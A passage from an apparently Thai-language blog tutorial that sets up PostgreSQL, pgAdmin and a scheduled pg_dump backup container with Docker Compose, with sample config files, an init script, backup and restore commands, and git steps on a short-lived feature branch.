https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.48.13.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.48.13.png 1722w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Browser &#xE41;&#xE25;&#xE49;&#xE27; Refresh &#xE2B;&#xE19;&#xE49;&#xE32;&#xE15;&#xE48;&#xE32;&#xE07; userdatabase Repo &#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D; PostgreSQL config &#xE41;&#xE1A;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE43;&#xE2B;&#xE0D;&#xE48;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.48.55.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.48.55.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.48.55.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.48.55.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.48.55.png 2084w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30; Config PostgreSQL &#xE1A;&#xE19; Branch &#xE22;&#xE48;&#xE2D;&#xE22; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07; Trunk-Based Developmen &#xE41;&#xE25;&#xE49;&#xE27;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE04;&#xE27;&#xE23;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07; (Short-Lived Branch) &#xE08;&#xE32;&#xE01; Trunk &#xE0B;&#xE36;&#xE48;&#xE07;&#xE07;&#xE32;&#xE19;&#xE04;&#xE27;&#xE23;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE44;&#xE14;&#xE49;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2D;&#xE31;&#xE19;&#xE2A;&#xE31;&#xE49;&#xE19; (&#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE34;&#xE19; 1 &#xE27;&#xE31;&#xE19;) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23; Merge &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Trunk &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27;</p><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Short-Lived Branch &#xE0A;&#xE37;&#xE48;&#xE2D; feature/config-postgresql</li></ul><pre><code>git checkout -b feature/config-postgresql
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-08.03.04.png" class="kg-image" alt loading="lazy" width="1718" height="358" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-08.03.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-08.03.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-08.03.04.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-08.03.04.png 1718w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE41;&#xE25;&#xE30; Folder &#xE02;&#xE2D;&#xE07; Project &#xE15;&#xE32;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>.
&#x251C;&#x2500;&#x2500; README.md
&#x251C;&#x2500;&#x2500; backup
&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; backup.sh
&#x251C;&#x2500;&#x2500; backups
&#x251C;&#x2500;&#x2500; docker
&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; init.sql
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x2514;&#x2500;&#x2500; docker-compose.yml</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.19.32.png" class="kg-image" alt loading="lazy" width="2000" height="1648" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.19.32.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.19.32.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.19.32.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.19.32.png 2318w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; docker-compose.yml &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Deploy PosgreSQL, PGAdmin &#xE41;&#xE25;&#xE30; Backup Container</li></ul><figure class="kg-card kg-code-card"><pre><code># docker-compose.yml

services:
  db:
    build: ./docker
    container_name: user_postgres
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    volumes:
      - postgres_data:/var/lib/postgresql/data
      - ./backups:/backups  # volume &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C; backup
    ports:
      - &quot;${POSTGRES_PORT}:5432&quot;
    networks:
      - database_network
    healthcheck:
      test: [&quot;CMD-SHELL&quot;, &quot;pg_isready -U ${POSTGRES_USER} -d ${POSTGRES_DB}&quot;]
      interval: 5s
      timeout: 5s
      retries: 5
    restart: unless-stopped

  pgadmin:
    image: dpage/pgadmin4
    container_name: user_pgadmin
    environment:
      PGADMIN_DEFAULT_EMAIL: ${PGADMIN_DEFAULT_EMAIL}
      PGADMIN_DEFAULT_PASSWORD: ${PGADMIN_DEFAULT_PASSWORD}
    volumes:
      - pgadmin_data:/var/lib/pgadmin
    ports:
      - &quot;${PGADMIN_PORT}:80&quot;
    networks:
      - database_network
    restart: unless-stopped
    depends_on:
      - db

  backup:
    build: ./backup
    container_name: postgres_backup
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
      POSTGRES_HOST: db
      BACKUP_RETENTION_DAYS: 7  # &#xE40;&#xE01;&#xE47;&#xE1A; backup &#xE44;&#xE27;&#xE49; 7 &#xE27;&#xE31;&#xE19;
      BACKUP_SCHEDULE: &quot;0 0 * * *&quot;  # &#xE17;&#xE33; backup &#xE17;&#xE38;&#xE01;&#xE27;&#xE31;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE17;&#xE35;&#xE48;&#xE22;&#xE07;&#xE04;&#xE37;&#xE19;
    volumes:
      - ./backups:/backups
    networks:
      - database_network
    depends_on:
      - db

networks:
  database_network:
    name: database_network
    driver: bridge

volumes:
  postgres_data:
  pgadmin_data:</code></pre><figcaption>docker-compose.yml</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; .env</li></ul><figure class="kg-card kg-code-card"><pre><code># .env
POSTGRES_DB=postgres
POSTGRES_USER=postgres
POSTGRES_PASSWORD=postgres123
POSTGRES_PORT=5432
PGADMIN_DEFAULT_EMAIL=admin@admin.com
PGADMIN_DEFAULT_PASSWORD=admin123
PGADMIN_PORT=5050</code></pre><figcaption>.env</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; .gitignore</li></ul><figure class="kg-card kg-code-card"><pre><code># .gitignore
.env

# Ignore backup files
/backups/
*.backup
*.backup.gz
*.dump
*.sql
*.gz</code></pre><figcaption>.gitignore</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; Dockerfile &#xE43;&#xE19; Folder docker</li></ul><figure class="kg-card kg-code-card"><pre><code># Dockerfile
FROM postgres:17-alpine

# Copy initialization scripts
COPY init.sql /docker-entrypoint-initdb.d/

# Set locale (optional)
ENV LANG en_US.utf8</code></pre><figcaption>docker/Dockerfile</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; init.sql &#xE43;&#xE19; Folder docker</li></ul><figure class="kg-card kg-code-card"><pre><code>-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE15;&#xE32;&#xE23;&#xE32;&#xE07; users
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    email VARCHAR(255) NOT NULL UNIQUE,
    created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17; updated_at &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;
CREATE OR REPLACE FUNCTION update_modified_column()
RETURNS TRIGGER AS $$
BEGIN
    NEW.updated_at = now();
    RETURN NEW;
END;
$$ language &apos;plpgsql&apos;;

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; trigger &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17; updated_at
CREATE TRIGGER update_users_modtime
    BEFORE UPDATE ON users
    FOR EACH ROW
    EXECUTE FUNCTION update_modified_column();

-- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; indexes &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;
CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_users_name ON users(name);

-- &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;
INSERT INTO users (name, email) VALUES 
    (&apos;&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;&apos;, &apos;nuttachot@example.com&apos;),
    (&apos;&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;&apos;, &apos;sajjaporn@example.com&apos;),
    (&apos;&#xE2A;&#xE21;&#xE28;&#xE23;&#xE35; &#xE21;&#xE35;&#xE2A;&#xE38;&#xE02;&apos;, &apos;somsri@example.com&apos;);</code></pre><figcaption>docker/init.sql</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; Dockerfile &#xE43;&#xE19; Folder backup</li></ul><figure class="kg-card kg-code-card"><pre><code># backup/Dockerfile
FROM postgres:17-alpine

# &#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; dependencies &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;
RUN apk add --no-cache \
    bash \
    curl \
    pigz \
    tar \
    dcron \
    tzdata

# Copy backup script
COPY backup.sh /backup.sh
RUN chmod +x /backup.sh

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; directory &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; log
RUN mkdir -p /var/log/cron &amp;&amp; \
    touch /var/log/cron/cron.log &amp;&amp; \
    chmod 0644 /var/log/cron/cron.log

# Create a script to setup and run cron
RUN echo &apos;#!/bin/sh&apos; &gt; /entrypoint.sh &amp;&amp; \
    echo &apos;printenv | grep -v &quot;no_proxy&quot; &gt;&gt; /etc/environment&apos; &gt;&gt; /entrypoint.sh &amp;&amp; \
    echo &apos;crond -f -d 8 &gt;&gt; /var/log/cron/cron.log 2&gt;&amp;1&apos; &gt;&gt; /entrypoint.sh &amp;&amp; \
    chmod +x /entrypoint.sh

ENTRYPOINT [&quot;/entrypoint.sh&quot;]</code></pre><figcaption>backup/Dockerfile</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; backup.sh &#xE43;&#xE19; Folder backup</li></ul><pre><code>#!/bin/bash
# backup/backup.sh

# &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;
BACKUP_DIR=&quot;/backups&quot;
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE=&quot;backup_${TIMESTAMP}&quot;

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE42;&#xE1F;&#xE25;&#xE40;&#xE14;&#xE2D;&#xE23;&#xE4C; backup &#xE16;&#xE49;&#xE32;&#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;
mkdir -p ${BACKUP_DIR}

# &#xE17;&#xE33; Database Backup
echo &quot;Starting backup of PostgreSQL database: ${POSTGRES_DB}&quot;
PGPASSWORD=${POSTGRES_PASSWORD} pg_dump -h ${POSTGRES_HOST} -U ${POSTGRES_USER} -d ${POSTGRES_DB} -F c -b -v -f &quot;${BACKUP_DIR}/${BACKUP_FILE}.backup&quot;

# &#xE1A;&#xE35;&#xE1A;&#xE2D;&#xE31;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C; backup
echo &quot;Compressing backup file...&quot;
pigz &quot;${BACKUP_DIR}/${BACKUP_FILE}.backup&quot;

# &#xE25;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C; backup &#xE40;&#xE01;&#xE48;&#xE32;
echo &quot;Removing old backups...&quot;
find ${BACKUP_DIR} -type f -name &quot;*.backup.gz&quot; -mtime +${BACKUP_RETENTION_DAYS} -delete

# &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;
if [ $? -eq 0 ]; then
    echo &quot;Backup completed successfully: ${BACKUP_FILE}.backup.gz&quot;
else
    echo &quot;Backup failed!&quot;
    exit 1
fi

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; symlink &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; backup &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;
ln -sf &quot;${BACKUP_DIR}/${BACKUP_FILE}.backup.gz&quot; &quot;${BACKUP_DIR}/latest.backup.gz&quot;</code></pre><p>&#xE01;&#xE48;&#xE2D;&#xE19; Commit Code &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;</p><ul><li>Deploy PostgreSQL, PGAdmin &#xE41;&#xE25;&#xE30; Backup Container</li></ul><pre><code>docker-compose up -d</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.52.09.png" class="kg-image" alt loading="lazy" width="2000" height="1434" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.52.09.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.52.09.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.52.09.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-09.52.09.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Container &#xE17;&#xE35;&#xE48; Deploy</li></ul><pre><code>docker-compose ps</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.52.49.png" class="kg-image" alt loading="lazy" width="2000" height="134" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.52.49.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.52.49.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.52.49.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-09.52.49.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; Logs &#xE02;&#xE2D;&#xE07; 3 Container &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;</li></ul><pre><code>docker-compose logs</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.54.45.png" class="kg-image" alt loading="lazy" width="2000" height="1391" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.54.45.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.54.45.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.54.45.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-09.54.45.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Backup Database</li></ul><pre><code>docker exec postgres_backup /backup.sh</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.59.23.png" class="kg-image" alt loading="lazy" width="2000" height="1663" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-09.59.23.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-09.59.23.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-09.59.23.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-09.59.23.png 2336w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Restore &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code># Latest backup
docker exec -it user_postgres pg_restore -U [user] -d [dbname] -v /backups/latest.backup.gz

# Specific backup
docker exec -it user_postgres pg_restore -U [user] -d [dbname] -v /backups/backup_[timestamp].backup.gz</code></pre><p>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE48;&#xE32;&#xE19; PG Admin &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ul><li>&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; &#xA0;URL <a href="http://localhost:5050/?ref=blog.pjjop.org">http://localhost:5050</a> &#xE43;&#xE2A;&#xE48; Username &#xE41;&#xE25;&#xE30; Password &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; .env </li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.04.13.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.04.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.04.13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.04.13.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.04.13.png 2084w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE01;&#xE14; Add New Server</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.06.47.png" class="kg-image" alt loading="lazy" width="2000" height="1583" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.06.47.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.06.47.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.06.47.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-10.06.47.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Connection</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.07.27.png" class="kg-image" alt loading="lazy" width="2000" height="1583" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.07.27.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.07.27.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.07.27.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-10.07.27.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Connection &#xE15;&#xE48;&#xE32;&#xE07;&#xE46;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.10.14.png" class="kg-image" alt loading="lazy" width="2000" height="1583" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.10.14.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.10.14.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.10.14.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-10.10.14.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE04;&#xE25;&#xE34;&#xE4A;&#xE01;&#xE02;&#xE27;&#xE32;&#xE17;&#xE35;&#xE48; postgres &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Query Tool</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.11.04.png" class="kg-image" alt loading="lazy" width="2000" height="1583" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.11.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.11.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.11.04.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-10.11.04.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Table users &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49; &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14;&#xE1B;&#xE38;&#xE48;&#xE21; Play</li></ul><pre><code>select * from users</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.12.34.png" class="kg-image" alt loading="lazy" width="2000" height="1345" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.12.34.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.12.34.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.12.34.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-10.12.34.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23; Deploy, Backup Database &#xE41;&#xE25;&#xE30; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07; Commit Code &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git add .

git commit -m &apos;config postgresql, backup container and pgadmin&apos;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.17.26.png" class="kg-image" alt loading="lazy" width="2000" height="305" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.17.26.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.17.26.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.17.26.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.17.26.png 2372w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; History &#xE17;&#xE35;&#xE48; Commit</li></ul><pre><code>git log --oneline</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.22.22.png" class="kg-image" alt loading="lazy" width="1976" height="220" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.22.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.22.22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.22.22.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.22.22.png 1976w" sizes="(min-width: 720px) 